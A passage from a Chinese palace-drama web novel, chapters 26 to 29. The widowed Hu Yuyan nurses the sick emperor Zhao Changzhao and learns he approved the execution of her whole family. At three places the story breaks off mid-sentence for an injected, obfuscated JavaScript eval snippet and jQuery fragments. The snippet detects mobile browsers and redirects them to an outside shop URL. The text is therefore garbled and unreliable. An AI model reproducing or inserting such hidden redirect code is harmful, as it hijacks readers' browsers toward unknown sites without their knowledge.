她拉开了两人的距离,又将帷帐放下,盯着床上的若隐若现的身影,缓缓退了几步,才又转过身朝着来时路远去了。
她走出屋门,冷风扑面而来。夜色沉沉,灯火映着长街,她的步子很快,泪水自眼眶滑落。
走到路口时,一道白影忽然掠过。胡玉烟心中一惊,抬眼看去,只见一只雪色的狐狸立在灯影之外,双眸澄澈,静静望着她。
她胸口立刻涌出一阵不详的预感,她记得分明,赵长曙去世前,她也曾遇到过这么一只狐狸。
白狐仙人曾经带走了赵长曙如今也要带走赵长昭吗?
她平生不曾做过一件恶事,为何要让她一次次面对失去?
她屏住呼吸,浑身被恐惧笼罩。那狐狸却只是凝望片刻,尾巴轻轻一甩,转身没入黑暗之中,只余风声在长巷里回荡。
胡玉烟不知自己一路上是怎样回到密室的,雪天冷风吹得她心中平静了不少,直到密室暗门合上,眼底的光才一点点暗了下去。
26. 玉兰(三)
眼下是化雪的时节,殿内炭炉烧得正旺,上官皇后满头冷汗,双手死死攥着锦被。
稳婆低声催促,声音急切却不敢高过半分。
“皇后娘娘,再用一把力,就快了——”
一声清亮的婴啼骤然响起,稳婆喜得眉开眼笑,抱起那团皱巴巴的小生命,颤声高呼:“贺喜娘娘,贺喜上官大人,是个皇子!”
床上刚生产完的妇人也喜笑颜开,忙不迭地接过孩子看了又看,催促道:“快差人去上官府上报喜!”
殿门外,内侍尖细的嗓音传遍宫阙:“皇子诞生——母子平安——”
传信的内侍入得殿内,将皇后产下皇子母子平安的消息细细禀报。
榻上的赵长昭捂着嘴呛咳了两声,才哑着嗓子道:“下去。”
内侍以为这是天大的喜事,自己一定能得赏赐,却没成想皇帝的态度这般冷淡,有些失落地退下了。
胡玉烟将浸了凉水的锦帕覆上赵长昭额头,赵长昭闭目重重地呼出几口浊气,又忍不住咳嗽起来。
他轻笑一声,拍了拍胡玉烟的手背,“扶我起来吧。”
胡玉烟扶着他到了御案前,替他在背后垫了软枕。赵长昭的指尖微微颤抖,却执意要取来案上的笔墨。
胡玉烟见他气息急促,脸色比方才更白了几分,“你要写什么,我替你写吧。”
赵长昭却淡淡一笑,唇角带着一抹倦色,“拖不得……趁我还能写得下去。”
他提笔蘸墨,缓缓在诏纸上落下字句。
胡玉烟垂眸站在一旁,目光落在那行墨迹上,那一道“立皇后所出长子为太子”的圣旨,字字如铁,落地有声。
赵长昭写完,缓缓放下笔,似是松了口气,整个人微微向后倚去。
“传去中书,立刻起草正式诏书,三日后颁天下。”
他顿了顿又道:“再差人去上官府上报喜,特准上官府女眷入宫觐见皇后。”
赵长昭说完这话又猛得咳嗽起来,胡玉烟将温水递到他嘴边,他饮了,下一刻又尽数咳了出来。
“秀郎……”胡玉烟俯身跪倒在地,双手扶着床沿,眼底满是揪心的关切。
赵长昭虚虚摆了摆手,嗓音因病意而低哑:“你今日在这里待得够久了,快回去吧,我无事的。”
胡玉烟摇摇头。
他看着她,忽而低低一笑,“你是不是……怕像皇兄一样,见不到我最后一面。”
胡玉烟呼吸骤然一滞,一行清泪不受控地滑下脸颊。
赵长昭凝视着她,神色中带着一抹痴怔,想要说些什么,却终究化为沉默。
他缓缓开口:“立了太子,我死后,太子尚在襁褓,如何能治国?赵家儿郎无合适人选……上官皇后作主,太子禅位于辅政大臣上官楚,名正言顺。”
“我将赵家的江山送出去了,这便是我的命数,在这之后……我的命就捏在上官楚手中了。”
殿内烛火轻轻摇曳,影子在墙上晃动,像是风中摇摇欲坠的魂。胡玉烟听着这话,胸口像被钝刀一点点剜开,泪水顷刻间模糊了双眼。
“你怎么能……”她声音哽得厉害,“你怎么能把自己的性命说得像谈一桩买卖一样轻巧?”
赵长昭只是笑,那笑意淡得几乎看不见喜色,反而带着一种无可奈何的温柔。他抬手想替她拭泪,却因力气不支,手在半空中便无力垂下。
胡玉烟心头一紧,正要握住那只手,赵长昭却微微偏头,让自己额侧轻轻靠在她肩上。他的呼吸急促而浅,仿佛风中即将熄灭的火苗。
他一直手死死攥着胡玉烟的衣袖,嗓音渐渐低下去,似是说给自己听,“我本朝露命,因君多一晨……”
“我若是真要死,想就这样死在你怀里。”
“可我不能就这样死了,我若是能挺过这一关,玉烟也解开心结好不好?”
胡玉烟的眼泪顺着颈侧淌下,滴在赵长昭的手背上。
那是一种渗进骨髓的惶恐,她怕极了,怕一朝醒来,这世上再无他的气息。她明白他背负着的仇、吞咽下的血、走到如今的孤绝。他们都遍体鳞伤,靠着互相喘出的那口气,才坚持到现在。
赵长昭见她不肯离开,恍惚间握住她的手,嘴角带着一点病中虚弱的笑意,“玉烟说过,你我皆是短寿的命数,可若细细看来,我必是要先你一步的。到时候……我先去见了皇兄,便求他,将你让给我。”
胡玉烟有一瞬地皱眉,她想说,奈何桥上他不能丢下她,她不能给他这个机会。
胡玉烟抬手为他理了理鬓角的发丝,望着他微微泛红的眼角和那一声声压抑的咳嗽,笑得苦涩,“长曙说他不要入轮回,想必是不会在奈何桥上等我们的,你我今生来世都寻不到他了。”
赵长昭只是摇摇头,眉眼间尽是那种让人心慌的温柔,仿佛早已看透生死。
“那过去的便就过去了,等到下一世,玉烟从一开始便嫁与我,好不好?”
赵长昭拉着她的手,同她十指相扣。胡玉烟并不拒绝,想来她半生漂泊无依,如今身边唯有他一人相伴。
胡玉烟记得赵长曙生前与她诀别的那一夜,雨雪靡靡,他说他是孤鸾命,若有来世也不要与她再见了。那时她泣不成声,只觉得心被活生生剜了一刀。
而今赵长昭分明与她说,无论是人是鬼,都要与她纠缠不休。
一个断情,一个缠情。
一个将她推向劫后荒凉,一个将她拽入无尽深渊。
胡玉烟的目光落在床头的烛台上,既然天意如此薄凉,人世如此荒唐,为何还要谨守那些不公的规矩?若命运要她承受荒谬的惩罚,何不就此放纵一次、疯癫一次?
胡玉烟忽而捧住赵长昭的脸,唇瓣带着颤意覆了上去。那一吻近乎绝望,像要将自己所有的气息与温度都渡给他。
赵长昭怔了片刻,他的眼帘慢慢垂下,任由她将那份带着哭腔的温热,深深烙进自己的心口。
唇齿相贴间,他尝到一丝咸意,不知是她的泪,还是自己的。
片刻之后,两人之间的气息渐渐冷了下来,方才的温热被无声的空荡取代,像潮水退去,留下湿冷的沙滩。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524462|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“玉烟爱我吗?”冰凉的指尖贴向胡玉烟的面颊,“你我共患难十载,终归是有一点点情谊在的。”
空气一时寂静,不等胡玉烟回答,赵长昭像是怕她回答似的,忙道:“天快亮了,玉烟记得路上小心……”
胡玉烟退开半寸,然后站起身用衣袖胡乱擦拭着脸上的泪痕,她转身离去,好似刚才什么都没发生。
出殿时,她的脚步像踩在空处,每一步都沉得发痛。她不敢回头,生怕再看一眼,就会忍不住折回去,抱住那个人,哪怕一起沉沦。
她方才吻了赵长昭,却无意去问自己爱不爱,不过是两个苦命之人拼了命想讨一个短暂而明亮的归宿罢了,哪怕这段情是叔嫂不伦,也胜过独自被吞没。若能有个人互相取暖,哪怕只有一日,也胜过一生的孤寂。
风从长廊尽头吹来,带着冷意,将方才残留在唇上的温度一点点带走。
密室的门在她身后缓缓合上,隔绝了外头的风声。
烛光在墙角跳动,胡玉烟轻轻按着胸口,那处像被一把锈刀一下一下剜着,痛处鲜红,难以愈合。
脑海思绪翻飞,她沉沉地睡了一觉,醒来时却发现自己的指尖紧紧扣在掌心,几乎要将那层皮肉掐破。
片刻后她放松下来,心中忽然升起一个异样的念头。
赵长昭缠绵病榻的样子在她脑海中挥之不去,如今太子已立,他这个皇帝更是没有用处,上官楚如何才能放过他?
胡玉烟不敢承认情意是不是在日复一日的纠缠中生了根,可说不定还有机会来偿还这些因果。
她知道自己要做什么,没如约去看赵长昭,反而穿戴着宫女的服侍,往皇后宫中去了。
半路上,一位身穿女官服的妇人直直地朝她走来。
胡玉烟只得止步,侧身静立,恭敬地等待着。
就在停下的瞬间,一种如梦初醒的意识猛然袭来。她竟打算去皇后那里,对刚刚诞生的婴儿下手。只要这小太子死了,上官楚的禅位计划便会落空,赵长昭也许还有一线生机。
心脏剧烈跳动,那女官却已停在她面前。
仿佛被人看穿了心思,胡玉烟紧抿双唇,一动不敢动。
“我是成帝一朝的女官,姓曹,官至尚仪,现已在宫中颐养。族中有一位堂侄,正是东阁学士严子虚,你可曾认得他?”
胡玉烟一怔,抬眼凝视着眼前的女子。对方鬓发斑白,显露老态,却气度非凡。她细细回忆,却从未见过这位曹尚仪。
“严学士正是我母亲的兄长。”她低声道。
曹尚仪又靠近几步,声音温和,“那你呢?你是谁?”
胡玉烟眼眶微酸,“我是太常卿胡嘉之女,胡玉烟。”
“那玉烟,你想做什么?”曹尚仪问。
胡玉烟一声不响,跪倒在地,低头埋首。
曹尚仪连忙扶起她,柔声说道:“好孩子,听闻陛下重病,我是受严学士所托,来见陛下的。”
胡玉烟缓缓点头,心中既惊又乱。
两人一前一后,转道往帝王所居的正殿去了。
27. 玉兰(四)
赵长昭重病已有两月有余,整个人仿佛被病痛一点点掏空。气息时有时无,靠着一口执念吊着。
宫中日夜笼着药香,连风都带着苦味。胡玉烟时常在深夜悄悄来看他,他瘦得厉害,连下颌的骨线都清晰可见,呼吸浅浅地起伏,仿佛一阵风都能吹散。
胡玉烟看着他,心底泛起重重的疼意。
“陛下……”
胡玉烟跟着曹尚仪入了内殿,赵长昭殿中没有伺候的宫人,只余他一人躺在榻上。
他清醒着,却被病气折磨得不成样子,恍惚间察觉到胡玉烟来了,并且还带着一人。他撑起身体,正想问是谁,曹尚仪先一步行了叩拜大礼道:“尚仪曹氏,叩见陛下,恭请圣安。”
帐内的赵长昭连睁眼的力气都仿佛耗尽,他皱起眉头,捂着嘴咳嗽了两声。
胡玉烟扶着曹尚仪起身,又替赵长昭掀开了床前的帷幔。
赵长昭的目光落到面前的妇人身上,眉头松了几分。
曹尚仪悠悠然开口:“臣受严学士所托,为陛下献药。”
她双手奉上一物,“此药是老神仙所赐,严学士曾交于臣,望有朝一日能救陛下性命。”
“陛下不要小瞧此药,若是当年能让文帝服下,兴许文帝就不至于暴毙而亡,令上官一族嚣张至今。”
赵长昭红了眼眶,又问:“夫人是老师的……”
“臣是严学士的远亲姑母,长居于内廷,早与家中断了联系,如今也没什么人知晓我的身份了。”曹尚仪站得笔直,自有一份历经三朝的闲适气度。
药丸被递到赵长昭手边,他却带了几分愁容,“没想到老师还在为我筹谋。”
赵长昭的眼角滑落一滴泪。
“严学士赤胆忠心,又与陛下有师徒情谊,自是知道陛下的不得已,陛下龙体安泰,才是全了严学士的一番苦心。”
赵长昭长长叹了一口气,“多谢夫人送药之恩,是朕无能,辜负了老师。”
胡玉烟取了温水来,将药丸以水送服。
“陛下服了药,臣的任务也就完成了,臣告退。”曹尚仪说着话,目光却落到胡玉烟身上。胡玉烟心下会意,替赵长昭在背后垫上软枕,才又跟着曹尚仪退至殿外。
这时候天空竟然飘起雨来,二人站在屋檐下,胡玉烟欠欠身压低了声音唤道:“姑奶奶……”
曹尚仪颔首一笑,“好孩子,你既然叫我一声姑奶奶,我也想着给你寻一条生路。”
胡玉烟抿紧了唇,不明白曹尚仪的意思。
“我原以为你死在景元四年,没想到你如今是换了一番身份。”她伸出满是皱纹的手,在檐下接了几滴雨水,“我在宫里待了一辈子,上官皇后已成功诞子,我递了折子,准备出宫安置。”
“到时候我身边会跟着一个侍奉的宫女,我可以解决了她,让你替上。”
胡玉烟神情微变,没想到一夜之间居然有人将一个逃出这个吃人地方的机会递到她手边,换做从前她一定会感谢上天恩赐。
可如今……她不可能抛下赵长昭一走了之。
胡玉烟神情自若,毫不犹豫地摇摇头,“陛下与妾共患难近十载,妾不可离他而去,谢过姑奶奶好心。”
曹尚仪扬了扬下巴,似是没想到她会拒绝,“你可想好?”
胡玉烟点点头,不带丝毫犹豫,这是她这一生都逃不脱的牵绊。
这时,一个穿着黄裙的宫女踩着一地水,快步朝这边而来。
“尚仪大人。”她行了礼,怀里还抱着一把伞,“天有不测,竟下起雨来,婢子来为大人送伞。”
曹尚仪朝她点点头。
胡玉烟目光扫过这名送伞的宫女,却是一怔。那宫女也注意到她,一下子瞪大了眼,脱口而出:“淑妃娘娘?”
“嗯?”曹尚仪冷眼瞥向宫女。
宫女连忙低头道:“这位姐姐模样与婢子的一位旧主甚是相似,婢子眼拙,一时认错了人。”
曹尚仪不多言,将手搭在了宫女手上,宫女撑开伞,转身之际目光依旧忍不住瞥向胡玉烟,眼眶渐渐泛起了红。
曹尚仪行了几步又回头与胡玉烟道:“惠儿便是要与我一同出宫的宫女。”
胡玉烟会心一笑,目送着二人,柔声道:“山高路远,恭送大人。”
眼见着曹尚仪随惠儿远去,胡玉烟久久回不过神来,她在廊下站了许久,雨势渐大,在地上砸出一片水花,她站得久了,衣裙也染了湿意。见到了从前的侍女,还知道对方有了好归宿,是意外之喜。
再回到殿内时,赵长昭已经睡下了,胡玉烟俯在他床前静静地看了一会儿,又替他换了额上的锦帕。窗外传来一声惊雷,睡梦中的人不自觉地瑟缩了一下,却依旧没有醒。
这个人脆弱却真实,像风中最后一盏未灭的灯。
胡玉烟觉得好笑,伸出一根手指点在赵长昭额上,又顺着眉心滑过鼻梁,最后停在唇上。她又收回手,有些害怕这个人会在她指尖碎去。
床上的人呼吸匀称,应是在沉睡中,胡玉烟嘴角勾起淡淡的笑意,凑到他耳边小声道:“玉烟不走,玉烟永远陪着秀郎。”
看着沉睡的赵长昭,胡玉烟心中升起一丝暖意,她任由这种感觉蔓延至全身。她坐在他身边,听着他微弱的呼吸,心口的空洞慢慢被一种温热的幻觉填满。
赵长昭离不开她,她何尝不贪恋这种被需要的感觉。外面的世界是风刀霜剑,宫墙深深,只有这里,能容纳他们短暂的喘息。
雨没有要停的意思,胡玉烟却不敢在这里久待,她什么人也不是,可如今宫中难免会有人能认出她。
又是一道惊雷划过,胡玉烟将窗户打开一点缝隙,冷风钻入,雨水的腥气扑面而来。她苦笑了一下,知道雨下得这样大自己是回不去了。
以博古架作隔断,后面另有一番空间,思量着来往的宫人应当不会来这处,胡玉烟干脆躲进了樟木柜之后,她屈膝抱腿而坐,将自己藏好。
困意渐渐来临,胡玉烟就这样僵着脖子躲了一夜,直到被外面的喧闹声吵醒,胡玉烟心下慌张,连忙又往后缩了几分,竖着耳朵关注起外面的动静。
不一会儿便传来了婴儿的啼哭声,宫里的婴儿只能是那还不满月的小太子了,小太子既然在,那上官皇后定是也来了,胡玉烟忍不住后怕。
她连大气也不敢喘,悄悄关注着外面的一举一动。
胡玉烟仔细听着,她相隔甚远,许多声音只能听个朦胧。
忽而上官皇后提高了音量,厉声道:“你算个什么东西!阿爷吃你苦肉计这一套我可不吃!”
赵长昭也说了什么,胡玉烟听不清。
婴儿受了惊,哭声渐大,上官皇后继续道:“你自己为了活命,把严家、胡家卖了个干净,皇帝拿臣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548087|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子的血来暖自己,我平生最看不起你这般人!”
赵长昭生生压下怒意,也放高了声音,“一切都是严胡二人之罪,朕已惩处,上官大人也满意了,皇后好生照料太子,旁的事不是你一介妇人能明白的!”
胡玉烟听得真切,回想起之前赵长昭的反常,猛得意识到什么,心底一个念头如闪电般劈下。
她心头传出一阵刺痛,紧接着又是重物摔到地上的声音,而后是纷乱的脚步声,脚步声渐停,外面又归于平静。
身侧的墙上趴着一只小蜘蛛,胡玉烟颤着手伸出食指,轻而易举地将它碾碎了。
时间被拉长得可怖,直到她确定殿外无人,方才整了整衣裙,屏息踮步,从屏风后走出。
赵长昭半倚在榻上,面色虽苍白,却比昨日好了许多。见她骤然现身,他明显一怔,眼底惊慌交织。
“玉烟?”
胡玉烟的面色白得没有半分血色,她却强自按稳语调,轻声道:“昨夜雨大,我便在殿中待了一夜。”
她语气平静,面上波澜不禁,赵长昭却是慌了神,他朝她伸出手,胡玉烟却没有要上前的意思。
“玉烟……”
“陛下今日看起来气色大好,想必曹尚仪的药很是有用。”胡玉烟顺势上前,将桌上水递了过去,动作间像是在强行克制着什么。
赵长昭却一把将她的手腕攥住,他的眼神悲怆,唇畔颤抖。杯盏晃悠,一半的茶水都洒在了锦被上。
胡玉烟皱了眉头,一抬眼望见的是赵长昭哀伤的面容,她强自镇定,眉心却拧得更紧。
“你对我的家人……做了什么?”她终于问出口,却又转过头不想听到答案。
赵长昭忽然伸臂,将她整个人死死揽进怀中,片刻后,身侧传来一个咬牙切齿的声音,“朕一定要将上官家的每一根草都除尽,一定……”
一番动作,她手中的水已经洒得只剩下个杯底。
胡玉烟的面色一点点惨白,她浑身剧烈颤抖,泪水再也止不住,从眼角滑落。她咬紧牙关,声音冷得像刀锋。
“赵长昭,你把我的家人怎么了!”
赵长昭依旧没有回答,胡玉烟眼泪簌簌落下,几乎要看不清眼前的人。她将手中杯盏狠狠摔在地上,瓷片迸裂,脆响震人心魄。
她像疯了一般,推翻桌案、掀翻屏风。赵长昭神色惨然,紧紧从背后抱住胡玉烟,不顾她的拼命挣扎。她尖叫、踢打,指甲在他手臂上划出一道道血痕,他却死死不松开。
胡玉烟哭得气息几乎断裂,竭力挣扎:“放开我!你去死!我恨你——”
赵长昭泪水止不住地涌,力道却越发收紧,两人纠缠在一片狼藉的寝殿中,他额头抵着她颤抖的肩膀,泣声低喃:“别、不要……”
她哭着质问赵长昭,赵长昭没有说话,只是默默垂泪,跪在她面前,将她牢牢地抱进怀中。她拼命挣扎,他却只是死死抱紧。
他们就这样抱着,哭到气息都乱了,哭到嗓子发疼、胸口发闷,哭到连眼泪都干了,只剩下断断续续的抽噎。
胡玉烟浑身的力气终于耗尽,泪水湿透了衣襟,她整个人瘫软在他怀中,肩膀轻微颤抖着,仍旧带着压抑不住的啜泣。
她不禁开始怀疑自己是不是真的是天煞孤星的命数,否则又岂会亲缘单薄至此,丈夫、孩子、父母至亲……竟落得个无一善终的下场。
28. 玉兰(五)
赵长昭的眸色阴沉得可怕,殿外的脚步声刚一响起,他便厉声道:“都退下!”
门口的宫人被那一声吓得齐齐跪下,不敢再动。
“谁敢踏进一步——杀无赦!”赵长昭一手掀翻了屏风,琉璃碎了一地。
夜色渐起,殿中没有烛火,整间屋子慢慢失了光亮。等到哭喊声渐渐归于寂静,胡玉烟抬起头,面如死灰地盯着赵长昭。
赵长昭神色惨然,替她拭去脸上最后一丝泪痕,随后颤着手递上一封奏折。
胡玉烟犹豫一瞬才接过,目光依旧死死落在赵长昭身上,她好不容易平复了情绪,此刻身躯却又控制不住地轻颤起来。
赵长昭满目皆是悲戚,眼睁睁看着胡玉烟颤着手翻开奏折,只见上书——
“窃查东阁学士严子虚、太常卿胡嘉意图行刺辅政大臣上官楚,证据确凿,皆已招认。其罪同谋逆,皆以举家收监,请以九族诛灭。”
这份奏折已被批阅,那朱红的一个“准”字直直刺进眼中。
胡玉烟忽而发出一声几近崩溃的呜咽,眼前发黑,脑海里一片轰鸣,她终于知道赵长昭在瞒着她什么了。
她的手指在那页纸上缓缓蜷起,指节因过度用力而发白,她呼吸渐重,胸膛剧烈起伏,泪水瞬间溢眼眶。
赵长昭……准了这份奏折。
胡玉烟的肩膀颤动着,她缓缓抬起头来,眼中没有泪,只有一种混杂了痛楚、不可置信与深深哀怨的麻木。
赵长昭眼底溢满血丝,泪水顺着面颊滚落。
他的面庞那么清晰,让胡玉烟知道那不是梦。
她觉得天地都开始旋转,耳边响起嗡嗡作响的耳鸣,她勉强扶住案几,却还是一下跪坐在了地上。
“我……不是……”见着眼前人的崩溃,赵长昭的声音几乎是从喉咙里挤出来的,“玉烟你听我说,这封折子,这封……”
“我知道。”胡玉烟打断他,声音低哑,却字字清晰,“这是上官楚的意思,你做不得主的,对吗?”
“你是不是要说这个?”
赵长昭跪伏在她面前,眼底那点光倏然黯淡。他伸手想去握她,却被她倏然抬手拂开。
“你要杀上官楚,又为何要牵连我的家人?”她冷冷看着他,大声质问:“既然无力相护,为何还要假惺惺地说什么誓不负我?你贪生怕死,推他们出去顶罪。赵长昭——你还记得严子虚是谁吗?”
“那是你的恩师,他到死都记着来救你的命!”她的声音更冷了,像霜雪覆地,“你欺师灭祖,背义负恩,罪孽深重。”
赵长昭愣在原地,唇齿微颤,满脸皆是破碎。
看着他这样子,胡玉烟忽而笑了,她抬手抚上他的脸颊,一字一顿地道:“赵长昭,我说错了没有?”
赵长昭重重地闭了眼,两痕泪水滑落脸颊,随后慢慢地将头摇了又摇。
胡玉烟的笑慢慢僵住,目光游离。仿佛只要稍一抬眼,就会看见血光与火影扑面而来。那些呼喊与惨叫,混着她的名字一声声回荡在脑海深处,她怕自己一旦想到这,便会失声哭出,甚至疯魔。
自入宫那一日,她便失了选择的权利,与亲人隔着高墙与朱门,音讯全无。如今,连那最后一面也成了奢望。
“你为什么要瞒我?”她低声道,声音颤抖,“屠我满门,然后装作无事发生?继续把我关在宫里,对我说爱我?”
她咬紧牙关,血腥气弥漫在齿间。
“你何苦瞒我?”
赵长昭的手抖得厉害,他缓缓跪直,想靠近,又止步。双手半举在半空中,最后只能慢慢垂下,落在地上。
“我不想见你伤心。”他沙哑地说,“我想……你能心存希望。能以为,世间还有一处归处等着你。不知,便不痛。”
他闭了闭眼,声音越来越低:“我无能,害你全家至此……一切,皆是我之过。”
胡玉烟静静听着,头一点点垂下,整个人仿佛都塌陷了。她看着地上的金砖,恍惚间觉得那一格一格的反光,都像是被鲜血染过。
只是她太迟才看清。
她用袖子擦去脸上的泪痕,声音轻得几乎听不见:“我该早知道的。”
她抬起头,目光一点点变得清明,也更冷。
“赵长昭,你和你哥哥又有什么分别呢?”
“以为装作看不见,就是什么都没发生。”她哑声道,“我不能怨你哥哥,也不能怨你,因为你们都是逼不得已,可我该怎么办?我也是活生生的人啊!”
她的手颤抖得厉害,指节因用力而泛白,泪水一颗接一颗砸落。
“玉烟……我对不住你,可我不后悔。”胸口好像受了重击,赵长昭呼出一口浊气,他喉间滚动的,却是一口怎么也压不下去的血。
“我想将你留在身边,我想你能好好活着。”他喃喃着,声音几近呢喃,“我知道我不是个真正的帝王,可我想我至少还能保护你。”
他抬手抚上胡玉烟的脸颊,这回她没有躲,赵长昭轻轻笑了一声,“赵国会亡在我手中,我会是个短命的君主。”他低声道,“可玉烟不同,玉烟要长命百岁,要平安终老……连着我,还有哥哥的那一份,好好活下去。”
他想起自己年幼时跟在兄长身边,见着玉烟穿着嫁衣手持团扇从他身边经过,她是他的嫂嫂,是他少年懵懂时不敢仰望的一抹朱霞。
赵长昭忽地低声喃喃着什么。
胡玉烟没动,也没回应,仿佛根本没有听见这话。赵长昭也不再开口,他的心像是被搁在一座寒井底,冰冷、压抑、无声。
之后胡玉烟望着他,眼神里再没有哭意,语气平缓得近乎残忍,“你们赵家的人,一个个都说要护我周全,可护到最后,我什么都没了,身份没了,家没了,连恨都被你们夺了去。”
“赵长昭,你想护我,可我早就被你害尽了。”她正声下了判决。
赵长昭的目光中流露出几分不可置信,他想开口,却只来得及喃喃出一个字。话音未落,一股腥甜猛地冲上喉头。
猛地一阵咳嗽,鲜血从唇角溢出,落在掌心。
胡玉烟有些慌乱,却仍僵立在原地,赵长昭苦笑着朝他摆摆手,然后弓了腰身,慢慢坐到地上。
两人都不再说话,肩膀相抵倚靠在一起,日光透过高窗斜斜地照进来,映在两人身上。赵长昭不敢动,连呼吸都放轻,怕惊扰了他们之间仅存的、摇摇欲坠的宁静。
胡玉烟轻轻地睁开眼,黄昏最后一缕光正好落在她面颊上,落在那早已干涸的泪痕上。她抬头望着那已西沉的天光,心中一阵悲凉。
她的人生也早已暗无天日。父母、宗亲、故土,全数灰飞烟灭。她活在世上,除了仇恨,几乎再无立身之地。
为什么偏偏是我……她在心底喃喃质问。若真有天命,怎么不让她死在冰冷的湖水里,死在冷宫的木床上……
泪水模糊了视线,她看着赵长昭倚在她边上,狼狈不堪,和她一样满身伤痕、孤绝无依。
两人相顾无言,像个溺水之人终于拼命浮出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559058|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水面,勉强换得一口气。
胡玉烟指尖在衣袖间轻轻绞动,“我刚嫁入王府那年,你正是猫狗都嫌的年纪,日日不得安生。长昕那时候,还只能扶着墙走路。”
赵长昭眼底浮现笑意,像是被拉回久远的旧景,他忍不住弯起嘴角:“我好奇哥哥会娶一个怎样的女子,牵着长昕去新房偷看,结果什么都没瞧见,还害长昕摔了一跤。”
胡玉烟抬眸看了他一眼,随即移开目光。赵长昭眼神微热,轻声续道:“第二日见你时,是哥哥领着你去拜见父王母妃,我就匆匆一眼,便在想,世上怎么会有这么好看的女子。”
胡玉烟只道:“在王府那两年,我将你看作亲弟弟。”
她说到这里,唇角泛着苦意,指尖在膝上轻轻颤了颤,“我离开王府前往皇宫的那日,是你带着我娘和弟弟在半路上拦住我送行,你还送了我一只小猫。我取名叫玉团,它在我入宫的第一年被人害死了。”
赵长昭喉结滚动,眼神暗下,“我和十四弟被关在京郊府邸的那两年,下人克扣饮食对我们动辄打骂,那时候我快要死了,一见玉烟,如见观音。”
胡玉烟强撑着平稳的语气,“我求长曙封你为亲王,赐府自立,上官楚不允。我接你回宫,日夜懊悔把你拖入纷争,你中毒之时,我更是寝食难安,生怕将你也拖入地狱。”
“我曾在梦里,见你着素衣独自立在宫门外。那梦醒来,我心痛如绞,恨不得立刻奔去寻你。”赵长昭的声音愈发低哑。
“我跌入湖中那回,本想一死了之,后来有人破水来救我,我以为是长曙,没想到是你。”胡玉烟说罢自嘲地笑了笑。
赵长昭的喉咙开始发涩,“我恨皇兄,恨他不能保护你,后来我坐到这个位置上,才发觉自己不如他。”
说到这里,他猛地坐直,语气急切,“我……妄心早生,不是片刻。”
赵长昭侧过脸,看着胡玉烟垂下的睫羽,像两道浅浅的影落在苍白的脸上。
胡玉烟也直直地看向他,目光中没有任何情绪。
赵长昭喉头滚了滚,伸出的手停在空中,眼里一寸寸映进她的面庞,心跳如鼓,几乎压过了所有的思绪。
一刹那,眼前似乎划过一道闪电。
“玉烟……”他轻声唤她,像是在唤一个梦。
胡玉烟没有应声,胸腔里涌动着压抑到极点的情绪。
看着赵长昭凑近又离远,她的眼帘微颤,目光清冷,似水中月,不带一丝波澜。
两人肩膀相触,继续依偎着,不知过了多久,赵长昭又问:“你是不是很恨我?”
听得此言,胡玉烟忽而清明起来,方才的朦胧情思突然间荡然无存。
“恨么?有一点吧……”胡玉烟实话实话,她的家人是因赵长昭而死,她若没有一点动容,岂不是妄为人子女。
“赵长昭,我长你几岁,也曾是你的长辈。我想与你说,世上最难熬的事,从来不是死。”她缓缓道:“而是活着,看着那些你爱过、恨过的人,一个个化成灰。”
赵长昭手上动作又紧了几分,胡玉烟将手覆上赵长昭手背,“可是这一点恨不算什么,我会原谅陛下的,只要陛下将上官楚全族的头颅送上。”
胡玉烟说完话便闭了眼,她心中安稳了许多,丝毫不在意赵长昭僵硬的身躯。
她觉得自己像被推入一个无边无际的黑暗深渊,四面八方都是浓重的阴霾。可就在这片黑暗里,眼前这个男人,也在哭、在痛,在同她一样地煎熬,那就足够了。
29. 海棠(一)
赵长昭病虽好了,这段时间却一直落下了咳疾。既有真病,也掺着几分假意。他知自己是真真切切在鬼门关外走过一遭,又侥幸被拽回人世。
他在上官楚面前愈发显得战战兢兢,常常一个抬手,便吓得他浑身一颤,惶惶如鸟,几欲蜷身躲到桌案之下。
上官楚却大笑,随意在他脸颊上轻拍两下,才扬袖而去。
赵长昭对上官楚向来有求必应。上官老夫人下葬那日,他亲自披麻戴孝、躬身抬棺,只言上官将军是社稷之柱,母亲理应受此殊荣。
仪式繁复,礼数周全,直至丧仪完毕,他才觉心力交瘁。
赵长昭常觉得自己像是被迫从死地中拖拽出来的幽魂,苟延残喘。上官楚大约是真心认为他已再无威胁,不过是个会乖乖俯首称臣的傀儡。
边地三郡自赵国立国之初便失陷他国,此事历代君臣皆耿耿于怀,几乎成了赵人胸口的一根硬刺。
朝堂上,戍边大臣正激昂上表,言及越国因内乱与灾年而国势衰微,正是起兵伐越、光复失地的良机。
